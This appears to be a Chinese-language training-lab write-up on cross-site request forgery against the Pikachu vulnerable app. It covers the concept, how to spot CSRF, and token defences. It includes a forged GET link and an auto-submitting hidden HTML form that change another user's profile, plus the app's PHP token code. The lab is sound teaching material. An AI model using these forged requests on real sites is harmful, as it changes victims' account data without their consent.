Cross-site request forgery
在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
这也是为什么很多网站上点击外链会有提醒。
判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。另外最好收集下网站信息,用自己的账户确认下凭证有效期,退出浏览器后cookie是否还有效等,关键是抓下敏感操作的数据包,看有没有token,没有则大概率有csrf。
条件:
当然,如果网站有xss漏洞,欺骗目标访问了有xss脚本的页面拿到cookie,就能登录目标账号了。
所以,CSRF与XSS的区别是:CSRF借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS直接盗取到了用户的权限,然后实施破坏。
当然也不要与越权混淆。
对敏感信息的操作增加安全的token;
关于会话
访问控制:
敏感信息的操作增加安全的验证码;
提示有这么些用户:
vince/allen/kobe/grady/kevin/lucy/lili,
密码全部是123456
登录vince,修改一些个人信息抓包
GET /pk/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40test.commmmmm&submit=submit HTTP/1.1
Host: 10.10.10.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.10.133//pk/vul/csrf/csrfget/csrf_get_edit.php
Cookie: PHPSESSID=lk7n7ne6t2humik32jov86hm87
Upgrade-Insecure-Requests: 1
是个get请求,并且没有token。
现在登录一下allen,查看一下个人信息:
姓名:allen
性别:boy
手机:13676767767
住址:nba 76
邮箱:allen@test.com
访问一下这个链接
http://10.10.10.133//pk/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=13676767767&add=nba%2077&email=allen@test.commmmmm&submit=submit
成功修改allen的个人信息:
姓名:allen
性别:boy
手机:13676767767
住址:nba 77
邮箱:allen@test.commmmmm
前端、账户和csrf get都一样,请求变成了post, 并且仍然没有token。
bp右键engagement tools 可以生成csrf poc,保存为csrf_post.html。
<html>
<script> <!-- 这个script是用来自动提交表单的 -->
window.onload = function() {
document.getElementById("submit").click();
}
</script>
<body>
<form action="http://10.10.10.133/pk/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="12345678922" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="xiannv@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 -->
</form>
</body>
</html>
现在登录为lili,访问http://10.10.10.133/csrf_post.html
。 当然正常应该在另外一台攻击机上搭建个http服务。
lili的个人信息修改成功:
姓名:lili
性别:xxx
手机:xxx
住址:xxx
邮箱:xxx
这次是有token参数的get请求, 没办法修改个人信息了。
GET /pk/vul/csrf/csrftoken/token_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vinceeee%40test.com&token=3971861c1589b11b09825241405&submit=submit
<form method="get">
<h1 class="per_title">hello,vince,欢迎来到个人会员中心 | <a style="color:bule;" href="token_get.php?logout=1">退出登录</a></h1>
<p class="per_name">姓名:vince</p>
<p class="per_sex">性别:<input type="text" name="sex" value="boy"/></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="18626545453"/></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="chain"/></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@test.commmmmm"/></p>
<input type="hidden" name="token" value="3971861c1589b11b09825241405" />
<input class="sub" type="submit" name="submit" value="submit"/>
</form>
后台token_get_edit.php编辑个人信息时,与会话中的token对比:
if(isset($_GET['submit'])){
if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token']){
//转义
$getdata=escape($link, $_GET);
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
$result=execute($link, $query);
//没有修改,点击提交,也算修改成功
if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
header("location:token_get.php");
}else {
$html1.="<p>修改失败,请重新登录</p>";
}
}
}
//生成token
set_token();
// function.php
//生成一个token,以当前微妙时间+一个5位的前缀
function set_token(){
if(isset($_SESSION['token'])){
unset($_SESSION['token']);
}
$_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,99999),true));
}